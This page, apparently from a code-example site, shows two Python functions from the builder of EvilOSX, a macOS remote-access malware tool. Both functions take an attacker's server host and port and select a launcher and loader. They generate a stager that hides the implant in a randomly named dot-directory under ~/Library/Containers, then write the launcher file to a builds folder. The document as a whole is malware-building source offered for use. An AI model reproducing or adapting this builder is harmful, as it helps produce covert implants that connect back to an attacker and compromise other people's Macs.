Пример #1
0
    def _on_create_launcher(self, server_host, server_port, program_directory,
                            loader_name: str, launcher_name: str,
                            input_fields: list):
        """Creates the launcher and outputs it to the builds directory."""
        if not self._host_field.text():
            self.display_error("Invalid host specified.")
        elif not str(self._port_field.text()).isdigit():
            self.display_error("Invalid port specified.")
        else:
            set_options = []

            for field in input_fields:
                set_options.append(field.text())

            loader_options = loaders.get_options(loader_name, set_options)
            loader_options["program_directory"] = program_directory

            stager = launchers.create_stager(server_host, server_port,
                                             loader_options)

            launcher_extension, launcher = launchers.generate(
                launcher_name, stager)
            launcher_path = path.realpath(
                path.join(
                    path.dirname(__file__), path.pardir, path.pardir, "data",
                    "builds", "Launcher-{}.{}".format(
                        str(uuid4())[:6], launcher_extension)))

            with open(launcher_path, "w") as output_file:
                output_file.write(launcher)

            self.display_info(
                "Launcher written to: \n{}".format(launcher_path))
Пример #2
0
def builder():
    server_host = input(MESSAGE_INPUT +
                        "Server host (where EvilOSX will connect to): ")
    server_port = int(input(MESSAGE_INPUT + "Server port: "))
    program_directory = input(
        MESSAGE_INPUT + "Where should EvilOSX live? "
        "(Leave empty for ~/Library/Containers/.<RANDOM>): ")

    if not program_directory:
        program_directory = "~/Library/Containers/.{}".format(
            launchers.get_random_string())

    # Select a launcher
    launcher_names = launchers.get_names()

    print(MESSAGE_INFO +
          "{} available launchers: ".format(len(launcher_names)))
    for i, launcher_name in enumerate(launcher_names):
        print("{} = {}".format(str(i), launcher_name))

    while True:
        try:
            selected_launcher = input(MESSAGE_INPUT +
                                      "Launcher to use (Leave empty for 1): ")

            if not selected_launcher:
                selected_launcher = 1
            else:
                selected_launcher = int(selected_launcher)

            selected_launcher = launcher_names[selected_launcher]
            break
        except (ValueError, IndexError):
            continue

    # Select a loader
    loader_names = loaders.get_names()

    print(MESSAGE_INFO + "{} available loaders: ".format(len(loader_names)))
    for i, loader_name in enumerate(loader_names):
        print("{} = {} ({})".format(
            str(i), loader_name,
            loaders.get_info(loader_name)["Description"]))

    while True:
        try:
            selected_loader = input(MESSAGE_INPUT +
                                    "Loader to use (Leave empty for 0): ")

            if not selected_loader:
                selected_loader = 0
            else:
                selected_loader = int(selected_loader)

            selected_loader = loader_names[selected_loader]
            break
        except (ValueError, IndexError):
            continue

    set_options = []

    for option_message in loaders.get_option_messages(selected_loader):
        set_options.append(input(MESSAGE_INPUT + option_message))

    # Loader setup
    loader_options = loaders.get_options(selected_loader, set_options)
    loader_options["program_directory"] = program_directory

    # Create the launcher
    print(MESSAGE_INFO +
          "Creating the \"{}\" launcher...".format(selected_launcher))
    stager = launchers.create_stager(server_host, server_port, loader_options)

    launcher_extension, launcher = launchers.generate(selected_launcher,
                                                      stager)
    launcher_path = path.realpath(
        path.join(
            path.dirname(__file__), "data", "builds",
            "Launcher-{}.{}".format(str(uuid4())[:6], launcher_extension)))

    with open(launcher_path, "w") as output_file:
        output_file.write(launcher)

    print(MESSAGE_INFO + "Launcher written to: {}".format(launcher_path))